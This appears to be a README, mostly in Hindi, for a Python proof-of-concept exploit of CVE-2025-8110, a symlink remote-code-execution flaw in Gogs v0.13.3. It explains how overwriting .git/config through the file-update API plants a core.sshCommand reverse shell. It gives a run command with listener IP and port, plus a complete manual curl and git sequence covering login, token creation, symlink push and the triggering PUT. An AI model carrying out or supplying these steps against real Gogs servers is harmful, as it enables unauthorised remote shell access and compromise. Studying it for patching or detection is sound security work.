
Gogs सिमलिंक RCE (CVE-2025-8110) के लिए वन-शॉट शोषण जो UpdateRepoFile के लिए एकल PUT अनुरोध के माध्यम से रिवर्स शेल ट्रिगर करता है।
CVE-2025-8110 के लिए Python प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट — Gogs v0.13.3 UpdateRepoFile सिमलिंक RCE. एकल-शॉट: दुर्भावनापूर्ण PUT स्वयं git fetch → sshCommand → रिवर्स शेल को ट्रिगर करता है।
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस उपकरण को उन सिस्टमों पर चलाना जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।
internal/db/repo_editor.go में UpdateRepoFile हैंडलर फ़ाइल सामग्री लिखने के लिए os.WriteFile को कॉल करता है, जो सिमलिंक का अनुसरण करता है बिना उनकी जाँच किए। इस तथ्य के साथ कि सिमलिंक के पिछले कमिट में प्रवेश करते हैं, एक हमलावर यह कर सकता है:
.git/x → .git/config को बेयर रेपो में पुश करें.git/config के साथ PUT /api/v1/repos/{owner}/{repo}/contents/x को कॉल करें जिसमें core.sshCommand को रिवर्स शेल कमांड पर सेट किया गया होgit fetch origin को ट्रिगर करता है (CreateOrUpdateRepoFile → UpdateLocalCopyBranch के माध्यम से), जो संशोधित कॉन्फ़िग को पढ़ता है और sshCommand को निष्पादित करता है — एक ही बार में एक रिवर्स शेल उत्पन्न करता है।poc.py: लक्ष्य, उपयोगकर्ता नाम, पासवर्ड, LHOST और LPORT के लिए संकेत देता है; लॉग इन करता है, एक API टोकन बनाता है, एक रिपॉजिटरी बनाता है, एक सिमलिंक पुश करता है, और API के माध्यम से .git/config को ओवरराइट करता है — एकल PUT अनुरोध स्वयं रिवर्स शेल को ट्रिगर करता है।चलाएँ:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| Argument | Required | Description |
|---|---|---|
--target / -t | हाँ | Gogs लक्ष्य होस्टनाम या URL |
--username | हाँ | मौजूदा Gogs उपयोगकर्ता नाम |
--password | हाँ | मौजूदा Gogs पासवर्ड |
--lhost | हाँ | रिवर्स शेल के लिए लिसनर IP |
--lport | हाँ | लिसनर पोर्ट |
/user/settings/applications के माध्यम से एक व्यक्तिगत API टोकन बनाता हैx → .git/config बनाता है, कमिट करता है और इसे पुश करता हैcore.sshCommand और एक SSH रिमोट URL वाले दुर्भावनापूर्ण git कॉन्फ़िग के साथ PUT /api/v1/repos/{owner}/{repo}/contents/x भेजता है। Gogs का CreateOrUpdateRepoFile आंतरिक रूप से UpdateLocalCopyBranch → git fetch origin को कॉल करता है, जो ज़हरीले कॉन्फ़िग को पढ़ता है और sshCommand को निष्पादित करता है — एक अनुरोध में एक रिवर्स शेल उत्पन्न करता है।curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
PUT अनुरोध स्वयं git fetch origin को ट्रिगर करता है, जो ज़हरीले .git/config को पढ़ता है और रिवर्स शेल को निष्पादित करता है। किसी दूसरे अनुरोध की आवश्यकता नहीं है।
--max-time 10क्यों? सर्वर लगभग 10 सेकंड तक हैंग हो सकता है जब git लिखने की प्रक्रिया करता है और फ़ेच को ट्रिगर करता है।--max-time 10का उपयोग यह सुनिश्चित करता है कि curl शेल को वापस कनेक्ट करने के लिए कनेक्शन को पर्याप्त समय तक खुला रखे। इसके बिना, शेल फायर होने से पहले कनेक्शन ड्रॉप हो सकता है।